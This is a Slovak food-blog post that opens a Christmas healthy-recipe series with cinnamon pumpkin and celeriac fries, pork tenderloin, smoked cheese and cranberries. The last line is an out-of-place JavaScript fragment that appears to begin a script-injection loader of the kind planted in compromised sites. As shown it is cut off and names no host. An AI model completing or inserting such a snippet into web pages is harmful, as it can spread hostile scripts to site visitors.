Škoricové veggie hranolčeky

Čoskoro sú tu Vianoce, sviatky plné pokoja, lásky, prekvapení a … vianočných receptov!

Vo FoodLoveri sme sa rozhodli, že pre Vás prichystáme to najvhodnejšie prekvapenie, aké by Ste si v tomto období mohli od nás priať.

Od dnešného dňa do Vianoc uverejníme každý deň jeden zdravý recept s vianočným nádychom. Tak aby Vám ani cez Vianoce nechýbala výbava zdravých a chutných inšpirácií na gastronomické zážitky :).

Ako prvý sme si pre Vás pripravili recept na zeleninové hranolčeky s nádychom škorice :).
O zeleri pripravenom ako hranolky ste isto už počuli, ale my sme ho skombinovali s tekvicou a škoricou a vznikla neskutočná, vianočne ladená príloha k čomukoľvek.
S panenkou, grilovanou pareničkou a brusnicami dostanete jedlo, ktoré je naozaj vhodné na sviatočný stôl ;).

Ingrediencie: (pre 1 osobu)

• 100-150g bravčovej panenky
• 1/2 údenej parenice (pozdĺžne prekrojenej)
• 150g tekvice na pečenie
• 150g koreňového zeleru
• 2 lyžice čerstvých brusníc
• 1 lyžica citrónovej šťavy
• 1 lyžička medu
• 1 lyžička kokosového oleja/bravčovej masti
• soľ, korenie
• 1/2 lyžičky škorice

Postup:

1. Tekvicu a zeler nakrájame tak, aby tvarom pripomínali hranolky.
2. Brusnice vidličkou rozpučíme, pridáme citrónovú šťavu a med.
3. Rúru predhrejeme na 200°C a plech vystelieme papierom na pečenie
4. Hranolky poukladáme na plech, posypeme škoricou a soľou.
5. Pečieme 15-20 minút do chrumkava.
6. Počas pečenia hranoliek bravčovú panenku osolíme a okoreníme a opekáme na panvici 2-3 minúty z každej strany.
7. Parenicu opekáme na panvici spolu s panenkou, ale iba z údenej strany.
8. Všetko krásne naservírujeme na tanier a môžeme papať.

var d=document;var s=d.createElement(‘script’);